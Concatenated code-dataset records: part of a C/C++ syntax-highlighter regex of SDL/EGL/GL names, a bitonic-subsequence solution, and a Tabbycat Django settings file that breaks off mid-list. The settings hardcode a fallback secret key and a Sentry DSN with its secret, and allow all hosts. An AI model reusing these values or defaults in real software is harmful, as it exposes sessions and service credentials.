r'glCheckFramebufferStatusOES|'\n r'glFramebufferTexture2DOES|'\n r'glFramebufferTexture3DOES|'\n r'glFramebufferRenderbufferOES|'\n r'glGetFramebufferAttachmentParameterivOES|'\n r'glGenerateMipmapOES|'\n r'glMapBuffer|'\n r'glUnmapBuffer|'\n r'glCompileShader|'\n r'glGetShaderiv|'\n r'glGetShaderInfoLog|'\n r'glGetShaderSource|'\n r'glReleaseShaderCompilerOES|'\n r'glShaderSource|'\n r'glShaderBinaryOES|'\n r'glGetShaderPrecisionFormatOES|'\n r'eglGetError|'\n r'eglGetDisplay|'\n r'eglInitialize|'\n r'eglTerminate|'\n r'eglQueryString|'\n r'eglGetConfigs|'\n r'eglChooseConfig|'\n r'eglGetConfigAttrib|'\n r'eglCreateWindowSurface|'\n r'eglCreatePbufferSurface|'\n r'eglCreatePixmapSurface|'\n r'eglDestroySurface|'\n r'eglQuerySurface|'\n r'eglSurfaceAttrib|'\n r'eglBindTexImage|'\n r'eglReleaseTexImage|'\n r'eglSwapInterval|'\n r'eglCreateContext|'\n r'eglDestroyContext|'\n r'eglMakeCurrent|'\n r'eglGetCurrentContext|'\n r'eglGetCurrentSurface|'\n r'eglGetCurrentDisplay|'\n r'eglQueryContext|'\n r'eglWaitGL|'\n r'eglWaitNative|'\n r'eglSwapBuffers|'\n r'eglCopyBuffers|'\n r'eglGetProcAddress|'\n r'eglCreatePbufferFromClientBuffer|'\n r'eglWaitClient|'\n r'eglBindAPI|'\n r'eglQueryAPI|'\n r'eglReleaseThread|'\n r'glewInit|'\n r'glewExperimental|'\n r'SDL_CreateThread|'\n r'SDL_CreateCond|'\n r'SDL_CreateCursor|'\n r'SDL_CreateMutex|'\n r'SDL_CreateRGBSurface|'\n r'SDL_CreateRGBSurfaceFrom|'\n r'SDL_CreateRenderer|'\n r'SDL_CreateSemaphore|'\n r'SDL_CreateShapedWindow|'\n r'SDL_CreateSoftwareRenderer|'\n r'SDL_CreateSystemCursor|'\n r'SDL_CreateTexture|'\n r'SDL_CreateTextureFromSurface|'\n r'SDL_CreateThread|'\n r'SDL_CreateWindow|'\n r'SDL_CreateWindowAndRenderer|'\n r'SDL_CreateWindowFrom|'\n r'SDL_DestroyWindow|'\n r'SDL_GetError|'\n r'SDL_DXGIGetOutputInfo|'\n r'SDL_EnableScreenSaver|'\n r'SDL_Error|'\n r'SDL_EventState|'\n r'SDL_fabs|'\n r'SDL_FilterEvents|'\n r'SDL_floor|'\n r'SDL_FlushEvent|'\n r'SDL_FlushEvents|'\n r'SDL_free|'\n r'SDL_FreeCursor|'\n r'SDL_FreeFormat|'\n r'SDL_FreePalette|'\n r'SDL_FreeRW|'\n r'SDL_FreeSurface|'\n r'SDL_FreeWAV|'\n r'SDL_GameControllerAddMappingsFromRW|'\n r'SDL_GameControllerButtonBind SDLCALL|'\n r'SDL_GameControllerClose|'\n r'SDL_GameControllerEventState|'\n r'SDL_GameControllerGetAttached|'\n r'SDL_GameControllerGetAxisFromString|'\n r'SDL_GameControllerGetButton|'\n r'SDL_GameControllerGetButtonFromString|'\n r'SDL_GameControllerGetJoystick|'\n r'SDL_GameControllerGetStringForAxis|'\n r'SDL_GameControllerGetStringForButton|'\n r'SDL_GameControllerMapping|'\n r'SDL_GameControllerMappingForGUID|'\n r'SDL_GameControllerName|'\n r'SDL_GameControllerNameForIndex|'\n r'SDL_GameControllerOpen|'\n r'SDL_GameControllerUpdate|'\n r'SDL_GetAssertionHandler|'\n r'SDL_GetAudioDeviceName|'\n r'SDL_GetAudioDriver|'\n r'SDL_GetAudioStatus|'\n r'SDL_GetClipboardText|'\n r'SDL_GetClipRect|'\n r'SDL_GetClosestDisplayMode|'\n r'SDL_GetColorKey|'\n r'SDL_GetCPUCacheLineSize|'\n r'SDL_GetCPUCount|'\n r'SDL_GetCurrentAudioDriver|'\n r'SDL_GetCurrentDisplayMode|'\n r'SDL_GetCurrentVideoDriver|'\n r'SDL_GetCursor|'\n r'SDL_GetDefaultAssertionHandler|'\n r'SDL_GetDefaultCursor|'\n r'SDL_GetDesktopDisplayMode|'\n r'SDL_GetDisplayBounds|'\n r'SDL_GetDisplayMode|'\n r'SDL_GetDisplayName|'\n r'SDL_getenv|'\n r'SDL_GetEventFilter|'\n r'SDL_GetHint|'\n r'SDL_GetKeyboardFocus|'\n r'SDL_GetKeyboardState|'\n r'SDL_GetKeyFromName|'\n r'SDL_GetKeyFromScancode|'\n r'SDL_GetKeyName|'\n r'SDL_GetModState|'\n r'SDL_GetMouseFocus|'\n r'SDL_GetMouseState|'\n r'SDL_GetNumAudioDevices|'\n r'SDL_GetNumAudioDrivers|'\n r'SDL_GetNumDisplayModes|'\n r'SDL_GetNumRenderDrivers|'\n r'SDL_GetNumTouchDevices|'\n r'SDL_GetNumTouchFingers|'\n r'SDL_GetNumVideoDisplays|'\n r'SDL_GetNumVideoDrivers|'\n r'SDL_GetPerformanceCounter|'\n r'SDL_GetPerformanceFrequency|'\n r'SDL_GetPixelFormatName|'\n r'SDL_GetPlatform |'\n r'SDL_GetPowerInfo|'\n r'SDL_GetRelativeMouseMode|'\n r'SDL_GetRelativeMouseState|'\n r'SDL_GetRenderDrawBlendMode|'\n r'SDL_GetRenderDrawColor|'\n r'SDL_GetRenderDriverInfo|'\n r'SDL_GetRenderer|'\n r'SDL_GetRendererInfo|'\n r'SDL_GetRendererOutputSize|'\n r'SDL_GetRenderTarget|'\n r'SDL_GetRevision|'\n r'SDL_GetRevisionNumber|'\n r'SDL_GetScancodeFromKey|'\n r'SDL_GetScancodeFromName|'\n r'SDL_GetScancodeName|'\n r'SDL_GetSurfaceAlphaMod|'\n r'SDL_GetSurfaceBlendMode|'\n r'SDL_GetSurfaceColorMod|'\n r'SDL_GetSystemRAM|'\n r'SDL_GetTextureAlphaMod|'\n r'SDL_GetTextureBlendMode|'\n r'SDL_GetTextureColorMod|'\n r'SDL_GetThreadID|'\n r'SDL_GetThreadName|'\n r'SDL_GetTicks|'\n r'SDL_GetTouchDevice|'\n r'SDL_GetTouchFinger|'\n r'SDL_GetVideoDriver|'\n r'SDL_GetWindowBrightness|'\n r'SDL_GetWindowData|'\n r'SDL_GetWindowDisplayIndex|'\n r'SDL_GetWindowDisplayMode|'\n r'SDL_GetWindowFlags|'\n r'SDL_GetWindowFromID|'\n r'SDL_GetWindowGammaRamp|'\n r'SDL_GetWindowGrab|'\n r'SDL_GetWindowID|'\n r'SDL_GetWindowMaximumSize|'\n r'SDL_GetWindowMinimumSize|'\n r'SDL_GetWindowPixelFormat|'\n r'SDL_GetWindowPosition|'\n r'SDL_GetWindowSurface|'\n r'SDL_GetWindowTitle|'\n r'SDL_GetWindowWMInfo|'\n r'SDL_GL_BindTexture|'\n r'SDL_GL_CreateContext|'\n r'SDL_GL_DeleteContext|'\n r'SDL_GL_ExtensionSupported|'\n r'SDL_GL_GetAttribute|'\n r'SDL_GL_GetCurrentContext|'\n r'SDL_GL_GetCurrentWindow|'\n r'SDL_GL_GetDrawableSize|'\n r'SDL_GL_GetProcAddress|'\n r'SDL_GL_GetSwapInterval|'\n r'SDL_GL_LoadLibrary|'\n r'SDL_GL_MakeCurrent|'\n r'SDL_GL_ResetAttributes|'\n r'SDL_GL_SetAttribute|'\n r'SDL_GL_SetSwapInterval|'\n r'SDL_GL_SwapWindow|'\n r'SDL_GL_UnbindTexture|'\n r'SDL_GL_UnloadLibrary|'\n r'SDL_HapticName|'\n r'SDL_HasAltiVec|'\n r'SDL_HasAVX|'\n r'SDL_HasClipboardText|'\n r'SDL_HasEvent|'\n r'SDL_HasEvents|'\n r'SDL_HasMMX|'\n r'SDL_HasRDTSC|'\n r'SDL_HasScreenKeyboardSupport|'\n r'SDL_HasSSE|'\n r'SDL_HasSSE2|'\n r'SDL_HasSSE3|'\n r'SDL_HasSSE41|'\n r'SDL_HasSSE42|'\n r'SDL_Has3DNow|'\n r'SDL_HideWindow|'\n r'SDL_iconv|'\n r'SDL_iconv_close|'\n r'SDL_iconv_open|'\n r'SDL_iconv_string|'\n r'SDL_InitSubSystem|'\n r'SDL_Init|'\n r'SDL_IntersectRectAndLine|'\n r'SDL_iPhoneSetAnimationCallback|'\n r'SDL_iPhoneSetEventPump|'\n r'SDL_isdigit|'\n r'SDL_IsGameController|'\n r'SDL_IsScreenKeyboardShown|'\n r'SDL_IsScreenSaverEnabled|'\n r'SDL_IsShapedWindow|'\n r'SDL_isspace|'\n r'SDL_IsTextInputActive|'\n r'SDL_itoa|'\n r'SDL_JoystickClose|'\n r'SDL_JoystickEventState|'\n r'SDL_JoystickGetAttached|'\n r'SDL_JoystickGetAxis|'\n r'SDL_JoystickGetBall|'\n r'SDL_JoystickGetButton|'\n r'SDL_JoystickGetDeviceGUID|'\n r'SDL_JoystickGetGUID|'\n r'SDL_JoystickGetGUIDFromString|'\n r'SDL_JoystickGetGUIDString|'\n r'SDL_JoystickGetHat|'\n r'SDL_JoystickInstanceID|'\n r'SDL_JoystickIsHaptic|'\n r'SDL_JoystickName|'\n r'SDL_JoystickNameForIndex|'\n r'SDL_JoystickNumAxes|'\n r'SDL_JoystickNumBalls|'\n r'SDL_JoystickNumButtons|'\n r'SDL_JoystickNumHats|'\n r'SDL_JoystickOpen|'\n r'SDL_JoystickUpdate|'\n r'SDL_lltoa|'\n r'SDL_LoadBMP_RW|'\n r'SDL_LoadDollarTemplates|'\n r'SDL_LoadFunction|'\n r'SDL_LoadObject|'\n r'SDL_LoadWAV_RW|'\n r'SDL_LockAudio|'\n r'SDL_LockAudioDevice|'\n r'SDL_LockMutex|'\n r'SDL_LockSurface|'\n r'SDL_LockTexture|'\n r'SDL_log|'\n r'SDL_Log|'\n r'SDL_LogCritical|'\n r'SDL_LogDebug|'\n r'SDL_LogError|'\n r'SDL_LogGetOutputFunction|'\n r'SDL_LogGetPriority|'\n r'SDL_LogInfo|'\n r'SDL_LogMessage|'\n r'SDL_LogMessageV|'\n r'SDL_LogResetPriorities|'\n r'SDL_LogSetAllPriority|'\n r'SDL_LogSetOutputFunction|'\n r'SDL_LogSetPriority|'\n r'SDL_LogVerbose|'\n r'SDL_LogWarn|'\n r'SDL_ltoa|'\n r'SDL_malloc|'\n r'SDL_MasksToPixelFormatEnum|'\n r'SDL_MaximizeWindow|'\n r'SDL_memcmp|'\n r'SDL_memcpy|'\n r'SDL_memmove|'\n r'SDL_MemoryBarrierAcquire|'\n r'SDL_MemoryBarrierRelease|'\n r'SDL_memset|'\n r'SDL_MinimizeWindow|'\n r'SDL_MixAudio|'\n r'SDL_MixAudioFormat|'\n r'SDL_OpenAudio|'\n r'SDL_OpenAudioDevice|'\n r'SDL_PauseAudio|'\n r'SDL_PauseAudioDevice|'\n r'SDL_PeepEvents|'\n r'SDL_PixelFormatEnumToMasks|'\n r'SDL_PollEvent|'\n r'SDL_pow|'\n r'SDL_PumpEvents|'\n r'SDL_PushEvent|'\n r'SDL_qsort|'\n r'SDL_QueryTexture|'\n r'SDL_Quit|'\n r'SDL_QuitSubSystem|'\n r'SDL_RaiseWindow|'\n r'SDL_ReadBE16|'\n r'SDL_ReadBE32|'\n r'SDL_ReadBE64|'\n r'SDL_ReadLE16|'\n r'SDL_ReadLE32|'\n r'SDL_ReadLE64|'\n r'SDL_ReadU8|'\n r'SDL_realloc|'\n r'SDL_RecordGesture|'\n r'SDL_RegisterApp|'\n r'SDL_RegisterEvents|'\n r'SDL_RemoveTimer|'\n r'SDL_RenderClear|'\n r'SDL_RenderCopy|'\n r'SDL_RenderDrawLine|'\n r'SDL_RenderDrawLines|'\n r'SDL_RenderDrawPoint|'\n r'SDL_RenderDrawPoints|'\n r'SDL_RenderDrawRect|'\n r'SDL_RenderDrawRects|'\n r'SDL_RenderFillRect|'\n r'SDL_RenderFillRects|'\n r'SDL_RenderGetClipRect|'\n r'SDL_RenderGetD3D9Device|'\n r'SDL_RenderGetLogicalSize|'\n r'SDL_RenderGetScale|'\n r'SDL_RenderGetViewport|'\n r'SDL_RenderPresent|'\n r'SDL_RenderReadPixels|'\n r'SDL_RenderSetClipRect|'\n r'SDL_RenderSetLogicalSize|'\n r'SDL_RenderSetScale|'\n r'SDL_RenderSetViewport|'\n r'SDL_RenderTargetSupported|'\n r'SDL_ReportAssertion|'\n r'SDL_RestoreWindow|'\n r'SDL_RWFromConstMem|'\n r'SDL_RWFromFile|'\n r'SDL_RWFromFP|'\n r'SDL_RWFromMem|'\n r'SDL_SaveAllDollarTemplates|'\n r'SDL_SaveDollarTemplate|'\n r'SDL_scalbn|'\n r'SDL_SemPost|'\n r'SDL_SemTryWait|'\n r'SDL_SemValue|'\n r'SDL_SemWait|'\n r'SDL_SemWaitTimeout|'\n r'SDL_CreateThread|'\n r'SDL_CreateCond|'\n r'SDL_CreateCursor|'\n r'SDL_CreateMutex|'\n r'SDL_CreateRGBSurface|'\n r'SDL_CreateRGBSurfaceFrom|'\n r'SDL_CreateRenderer|'\n r'SDL_CreateSemaphore|'\n r'SDL_CreateShapedWindow|'\n r'SDL_CreateSoftwareRenderer|'\n r'SDL_CreateSystemCursor|'\n r'SDL_CreateTexture|'\n r'SDL_CreateTextureFromSurface|'\n r'SDL_CreateThread|'\n r'SDL_CreateWindow|'\n r'SDL_CreateWindowAndRenderer|'\n r'SDL_CreateWindowFrom|'\n r'SDL_SetAssertionHandler|'\n r'SDL_SetClipboardText|'\n r'SDL_SetError|'\n r'SDL_SetHint|'\n r'SDL_SetHintWithPriority|'\n r'SDL_SetMainReady|'\n r'SDL_SetRelativeMouseMode|'\n r'SDL_SetRenderDrawBlendMode|'\n r'SDL_SetRenderTarget|'\n r'SDL_SetSurfaceAlphaMod|'\n r'SDL_SetSurfaceBlendMode|'\n r'SDL_SetSurfaceColorMod|'\n r'SDL_SetTextInputRect|'\n r'SDL_SetTextureAlphaMod|'\n r'SDL_SetTextureBlendMode|'\n r'SDL_SetTextureColorMod|'\n r'SDL_SetWindowBordered|'\n r'SDL_SetWindowBrightness|'\n r'SDL_SetWindowData|'\n r'SDL_SetWindowDisplayMode|'\n r'SDL_SetWindowFullscreen|'\n r'SDL_SetWindowGammaRamp|'\n r'SDL_SetWindowGrab|'\n r'SDL_SetWindowIcon|'\n r'SDL_SetWindowMaximumSize|'\n r'SDL_SetWindowMinimumSize|'\n r'SDL_SetWindowPosition|'\n r'SDL_SetWindowShape|'\n r'SDL_SetWindowSize|'\n r'SDL_SetWindowTitle|'\n r'SDL_setenv|'\n r'SDL_ShowCursor|'\n r'SDL_ShowSimpleMessageBox|'\n r'SDL_ShowWindow|'\n r'SDL_sin|'\n r'SDL_sinf|'\n r'SDL_snprintf|'\n r'SDL_SoftStretch|'\n r'SDL_sqrt|'\n r'SDL_sscanf|'\n r'SDL_StartTextInput|'\n r'SDL_StopTextInput|'\n r'SDL_strcasecmp|'\n r'SDL_strcmp|'\n r'SDL_strdup|'\n r'SDL_strchr|'\n r'SDL_strlcat|'\n r'SDL_strlcpy|'\n r'SDL_strlen|'\n r'SDL_strlwr|'\n r'SDL_strncasecmp|'\n r'SDL_strncmp|'\n r'SDL_strrev|'\n r'SDL_strrchr|'\n r'SDL_strstr|'\n r'SDL_strtod|'\n r'SDL_strtol|'\n r'SDL_strtoll|'\n r'SDL_strtoul|'\n r'SDL_strtoull|'\n r'SDL_strupr|'\n r'SDL_ThreadID|'\n r'SDL_Thread *SDLCALL|'\n r'SDL_TLSCreate|'\n r'SDL_TLSGet|'\n r'SDL_TLSSet|'\n r'SDL_tolower|'\n r'SDL_toupper|'\n r'SDL_TryLockMutex|'\n r'SDL_uitoa|'\n r'SDL_ulltoa|'\n r'SDL_ultoa|'\n r'SDL_UnloadObject|'\n r'SDL_UnlockAudio|'\n r'SDL_UnlockAudioDevice|'\n r'SDL_UnlockMutex|'\n r'SDL_UnlockSurface|'\n r'SDL_UnlockTexture|'\n r'SDL_UnregisterApp|'\n r'SDL_UpdateTexture|'\n r'SDL_UpdateWindowSurface|'\n r'SDL_UpdateWindowSurfaceRects|'\n r'SDL_UpdateYUVTexture|'\n r'SDL_utf8strlcpy|'\n r'SDL_VideoInit|'\n r'SDL_VideoQuit|'\n r'SDL_vsnprintf|'\n r'SDL_vsscanf|'\n r'SDL_WaitEvent|'\n r'SDL_WaitEventTimeout|'\n r'SDL_WaitThread|'\n r'SDL_WarpMouseInWindow|'\n r'SDL_WasInit|'\n r'SDL_wcslcat|'\n r'SDL_wcslcpy|'\n r'SDL_wcslen|'\n r'SDL_WinRTGetFSPathUNICODE|'\n r'SDL_WinRTGetFSPathUTF8|'\n r'SDL_WriteBE16|'\n r'SDL_WriteBE32|'\n r'SDL_WriteBE64|'\n r'SDL_WriteLE16|'\n r'SDL_WriteLE32|'\n r'SDL_WriteLE64|'\n r'SDL_WriteU8)\\b',Name.Function),\n ('[a-zA-Z_][a-zA-Z0-9_]*:(?!:)', Name.Label),\n ('[a-zA-Z_][a-zA-Z0-9_]*', Name),\n ],\n 'classname': [\n (r'[a-zA-Z_][a-zA-Z0-9_]*', Name.Class, '#pop'),\n # template specification\n (r'\\s*(?=>)', Text, '#pop'),\n ],\n 'string': [\n (r'\"', String, '#pop'),\n (r'\\\\([\\\\abfnrtv\"\\']|x[a-fA-F0-9]{2,4}|[0-7]{1,3})', String.Escape),\n (r'[^\\\\\"\\n]+', String), # all other characters\n (r'\\\\\\n', String), # line continuation\n (r'\\\\', String), # stray backslash\n ],\n 'macro': [\n (r'[^/\\n]+', Comment.Preproc),\n (r'/[*](.|\\n)*?[*]/', Comment.Multiline),\n (r'//.*?\\n', Comment.Single, '#pop'),\n (r'/', Comment.Preproc),\n (r'(?<=\\\\)\\n', Comment.Preproc),\n (r'\\n', Comment.Preproc, '#pop'),\n ],\n 'if0': [\n (r'^\\s*#if.*?(?)', Text, '#pop'),\n# ],\n# }\n#\n# def analyse_text(text):\n# if re.search('#include <[a-z]+>', text):\n# return 0.2\n# if re.search('using namespace ', text):\n# return 0.4\n","repo_name":"dormon/PGR_OpenGL1","sub_path":"packages/c_cpp.py","file_name":"c_cpp.py","file_ext":"py","file_size_in_byte":192690,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"14895570162","text":"n = int(input())\nnum = list(map(int, input().split()))\nnum_rev = num[::-1]\n\ninc = [1] * n\ndec = [1] * n\n\nfor i in range(1, n):\n for j in range(i):\n if num[i] > num[j]:\n inc[i] = max(inc[i], inc[j]+1)\n if num_rev[i] > num_rev[j]:\n dec[i] = max(dec[i], dec[j]+1)\n\nanswer = 2\n# for x, y in zip(inc, dec[::-1]):\n# answer = max(x+y, answer)\nfor i in range(n):\n answer = max(inc[i] + dec[n-i-1] - 1, answer)\n\nprint(answer)","repo_name":"JiyuChoi/Algorithm-Study","sub_path":"BOJ/[DP] 가장 긴 바이토닉 부분 수열.py","file_name":"[DP] 가장 긴 바이토닉 부분 수열.py","file_ext":"py","file_size_in_byte":462,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"21544722928","text":"import os\n\nfrom django.contrib.messages import constants as messages\nfrom django.utils.translation import gettext_lazy as _\n\n\nBASE_DIR = os.path.dirname(os.path.abspath(__file__))\nMEDIA_ROOT = os.path.join(BASE_DIR, 'media')\n\n# ==============================================================================\n# Overwritten in local_settings.py\n# ==============================================================================\n\nADMINS = ('Philip and Chuan-Zheng', 'tabbycat@philipbelesky.com'),\nMANAGERS = ADMINS\nDEBUG = bool(int(os.environ['DEBUG'])) if 'DEBUG' in os.environ else False\nDEBUG_ASSETS = DEBUG\n\n# ==============================================================================\n# Version\n# ==============================================================================\n\nTABBYCAT_VERSION = '2.1.2'\nTABBYCAT_CODENAME = 'Japanese Bobtail'\nREADTHEDOCS_VERSION = 'v2.1.2'\n\n# ==============================================================================\n# Internationalization and Localization\n# ==============================================================================\n\nUSE_I18N = True\nUSE_TZ = True\nUSE_L10N = True\nLANGUAGE_CODE = 'en'\nTIME_ZONE = os.environ.get('TIME_ZONE', 'Australia/Melbourne')\n\nLOCALE_PATHS = [\n os.path.join(BASE_DIR, 'locale'),\n]\n\n# Languages that should be available in the switcher\nLANGUAGES = [\n ('ar', _('Arabic')),\n ('en', _('English')),\n ('es', _('Spanish')),\n ('fr', _('French'))\n]\n\nSTATICI18N_ROOT = os.path.join(BASE_DIR, \"locale\")\n\nFORMAT_MODULE_PATH = [\n 'utils.formats',\n]\n\n# ==============================================================================\n# Django-specific Module\n# ==============================================================================\n\nMIDDLEWARE = [\n 'django.middleware.security.SecurityMiddleware',\n 'whitenoise.middleware.WhiteNoiseMiddleware', # For Static Files\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.locale.LocaleMiddleware', # User language preferences\n 'django.middleware.common.CommonMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n 'utils.middleware.DebateMiddleware'\n]\n\nTABBYCAT_APPS = (\n 'actionlog',\n 'adjallocation',\n 'adjfeedback',\n 'availability',\n 'breakqual',\n 'checkins',\n 'divisions',\n 'draw',\n 'motions',\n 'options',\n 'participants',\n 'printing',\n 'privateurls',\n 'results',\n 'tournaments',\n 'venues',\n 'utils',\n 'users',\n 'standings',\n 'importer'\n)\n\nINSTALLED_APPS = (\n # Scout should be listed first\n 'scout_apm.django', 'jet' if os.environ.get('SCOUT_MONITOR') is True else 'jet',\n 'django.contrib.admin',\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'channels', # For Websockets / real-time connections (above whitenoise)\n 'whitenoise.runserver_nostatic', # Use whitenoise with runserver\n 'raven.contrib.django.raven_compat', # Client for Sentry error tracking\n 'django.contrib.staticfiles',\n 'django.contrib.humanize',\n 'django_summernote', # Keep above our apps; as we unregister an admin model\n 'django.contrib.messages') \\\n + TABBYCAT_APPS + (\n 'dynamic_preferences',\n 'django_extensions', # For Secret Generation Command\n 'gfklookupwidget',\n 'formtools',\n 'statici18n' # Compile js translations as static file; saving requests\n)\n\nROOT_URLCONF = 'urls'\nLOGIN_REDIRECT_URL = '/'\n\n# ==============================================================================\n# Templates\n# ==============================================================================\n\nTEMPLATES = [\n {\n 'BACKEND': 'django.template.backends.django.DjangoTemplates',\n 'DIRS': [os.path.join(BASE_DIR, 'templates')],\n 'OPTIONS': {\n 'context_processors': [\n 'django.contrib.auth.context_processors.auth',\n 'django.contrib.messages.context_processors.messages',\n 'django.template.context_processors.debug',\n 'django.template.context_processors.i18n',\n 'django.template.context_processors.media',\n 'django.template.context_processors.static',\n 'django.template.context_processors.tz',\n 'django.template.context_processors.request', # for Jet\n 'utils.context_processors.debate_context', # for tournament config vars\n 'django.template.context_processors.i18n' # for serving static language translations\n ],\n 'loaders': [\n ('django.template.loaders.cached.Loader', [\n 'django.template.loaders.filesystem.Loader',\n 'django.template.loaders.app_directories.Loader',\n ]),\n ]\n }\n }\n]\n\n# ==============================================================================\n# Caching\n# ==============================================================================\n\nPUBLIC_PAGE_CACHE_TIMEOUT = int(os.environ.get('PUBLIC_PAGE_CACHE_TIMEOUT', 60 * 1))\nTAB_PAGES_CACHE_TIMEOUT = int(os.environ.get('TAB_PAGES_CACHE_TIMEOUT', 60 * 120))\n\n# Default non-heroku cache is to use local memory\nCACHES = {\n 'default': {\n 'BACKEND': 'django.core.cache.backends.locmem.LocMemCache',\n }\n}\n\nSESSION_ENGINE = 'django.contrib.sessions.backends.cache'\n\n# ==============================================================================\n# Static Files and Compilation\n# ==============================================================================\n\nSTATIC_ROOT = os.path.join(BASE_DIR, 'staticfiles')\nSTATIC_URL = '/static/'\n\nSTATICFILES_DIRS = (os.path.join(BASE_DIR, 'static'), )\n\nSTATICFILES_FINDERS = (\n 'django.contrib.staticfiles.finders.FileSystemFinder',\n 'django.contrib.staticfiles.finders.AppDirectoriesFinder',\n)\n\n# Whitenoise Gzipping and unique names\nSTATICFILES_STORAGE = 'utils.misc.SquashedWhitenoiseStorage'\n# Serve files that must be at root (robots; favicon) from this folder\nWHITENOISE_ROOT = os.path.join(BASE_DIR, 'static/root')\n\n# ==============================================================================\n# Logging\n# ==============================================================================\n\nMESSAGE_STORAGE = 'django.contrib.messages.storage.session.SessionStorage'\n\nif os.environ.get('SENDGRID_USERNAME', ''):\n SERVER_EMAIL = os.environ['SENDGRID_USERNAME']\n DEFAULT_FROM_EMAIL = os.environ['SENDGRID_USERNAME']\n EMAIL_HOST = 'smtp.sendgrid.net'\n EMAIL_HOST_USER = os.environ['SENDGRID_USERNAME']\n EMAIL_HOST_PASSWORD = os.environ['SENDGRID_PASSWORD']\n EMAIL_PORT = 587\n EMAIL_USE_TLS = True\n\nLOGGING = {\n 'version': 1,\n 'disable_existing_loggers': False,\n 'handlers': {\n 'console': {\n 'class': 'logging.StreamHandler',\n 'formatter': 'standard',\n },\n 'sentry': {\n 'level': 'WARNING',\n 'class': 'raven.contrib.django.raven_compat.handlers.SentryHandler',\n },\n },\n 'loggers': {\n 'django': {\n 'handlers': ['console'],\n 'level': os.getenv('DJANGO_LOG_LEVEL', 'INFO'),\n },\n 'django.request': {\n 'handlers': ['sentry'],\n 'level': 'ERROR',\n },\n 'raven': {\n 'level': 'INFO',\n 'handlers': ['console'],\n 'propagate': False,\n },\n 'sentry.errors': {\n 'level': 'INFO',\n 'handlers': ['console'],\n 'propagate': False,\n },\n },\n 'formatters': {\n 'standard': {\n 'format': '[%(asctime)s] %(levelname)s %(name)s: %(message)s',\n },\n },\n}\n\nfor app in TABBYCAT_APPS:\n LOGGING['loggers'][app] = {\n 'handlers': ['console', 'sentry'],\n 'level': os.getenv('DJANGO_LOG_LEVEL', 'INFO'),\n }\n# ==============================================================================\n\n# Scout\n# ==============================================================================\n\nSCOUT_NAME = \"Tabbycat\"\n\n# ==============================================================================\n# Sentry\n# ==============================================================================\n\nDISABLE_SENTRY = True\n\nif 'DATABASE_URL' in os.environ and not DEBUG:\n DISABLE_SENTRY = False # Only log JS errors in production on heroku\n\n RAVEN_CONFIG = {\n 'dsn': 'https://6bf2099f349542f4b9baf73ca9789597:57b33798cc2a4d44be67456f2b154067@sentry.io/185382',\n 'release': TABBYCAT_VERSION,\n }\n\n # Custom implementation makes the user ID the e-mail address, rather than the primary key\n SENTRY_CLIENT = 'utils.raven.TabbycatRavenClient'\n\n# ==============================================================================\n# Messages\n# ==============================================================================\n\nMESSAGE_TAGS = {messages.ERROR: 'danger', }\n\n# ==============================================================================\n# Summernote (WYSWIG)\n# ==============================================================================\n\nSUMMERNOTE_CONFIG = {\n 'width': '100%',\n 'height': '480',\n 'toolbar': [\n ['style', ['bold', 'italic', 'underline', 'fontsize', 'color', 'clear']],\n ['para', ['ul', 'ol']],\n ['insert', ['link', 'picture', 'video', 'hr']],\n ['misc', ['undo', 'redo', 'codeview']],\n ['help', ['help']]\n ],\n 'disable_upload': True,\n 'iframe': True, # When django-summernote supports Bootstrap4 change this\n}\n\n# ==============================================================================\n# Channels\n# ==============================================================================\n\nASGI_APPLICATION = \"routing.application\"\n\nCHANNEL_LAYERS = {\n \"default\": {\n \"BACKEND\": \"channels.layers.InMemoryChannelLayer\",\n },\n}\n\n# ==============================================================================\n# Heroku\n# ==============================================================================\n\n# Get key from heroku config env else use a fall back\nSECRET_KEY = os.environ.get(\n 'DJANGO_SECRET_KEY', r'#2q43u&tp4((4&m3i8v%w-6z6pp7m(v0-6@w@i!j5n)n15epwc')\n\n# Parse database configuration from $DATABASE_URL\ntry:\n import dj_database_url\n DATABASES = {\n 'default': dj_database_url.config(default='postgres://localhost')\n }\nexcept:\n pass\n\n# Honor the 'X-Forwarded-Proto' header for request.is_secure()\nSECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTO', 'https')\n\n# Require HTTPS\nif 'DJANGO_SECRET_KEY' in os.environ and os.environ.get('DISABLE_HTTPS_REDIRECTS', '') != 'disable':\n SECURE_SSL_REDIRECT = True\n SESSION_COOKIE_SECURE = True\n CSRF_COOKIE_SECURE = True\n\n# Allow all host headers\nALLOWED_HOSTS = ['*']\n\n# Store Tab Director Emails for reporting purposes\nif 'TAB_DIRECTOR_EMAIL' in os.environ:\n TAB_DIRECTOR_EMAIL = os.environ.get('TAB_DIRECTOR_EMAIL', '')\n\n# Redis Services\nif os.environ.get('REDIS_URL', ''):\n try:\n CACHES = {\n \"default\": {\n \"BACKEND\": \"django_redis.cache.RedisCache\",\n \"LOCATION\": os.environ.get('REDIS_URL'),\n \"OPTIONS\": {\n \"CLIENT_CLASS\": \"django_redis.client.DefaultClient\",\n \"IGNORE_EXCEPTIONS\": True, # Don't crash on say ConnectionError due to limits\n }\n }\n }\n CHANNEL_LAYERS = {\n \"default\": {\n \"BACKEND\": \"channels_redis.core.RedisChannelLayer\",\n \"CONFIG\": {\n \"hosts\": [os.environ.get('REDIS_URL')],\n },\n },\n }\n except:\n pass\n\n# ==============================================================================\n# Travis CI\n# ==============================================================================\n\nFIXTURE_DIRS = (os.path.join(os.path.dirname(BASE_DIR), 'data', 'fixtures'), )\n\nif os.environ.get('TRAVIS', '') == 'true':\n DATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.postgresql',\n 'USER': 'postgres',\n 'PASSWORD': '',\n 'HOST': 'localhost',\n 'PORT': '',\n }\n }\n\n# ==============================================================================\n# Debug Toolbar\n# ==============================================================================\n\nDEBUG_TOOLBAR_PATCH_SETTINGS = False\n\nDEBUG_TOOLBAR_PANELS = (\n 'debug_toolbar.panels.versions.VersionsPanel',\n 'debug_toolbar.panels.timer.TimerPanel',\n 'debug_toolbar.panels.settings.SettingsPanel',\n 'debug_toolbar.panels.headers.HeadersPanel',\n 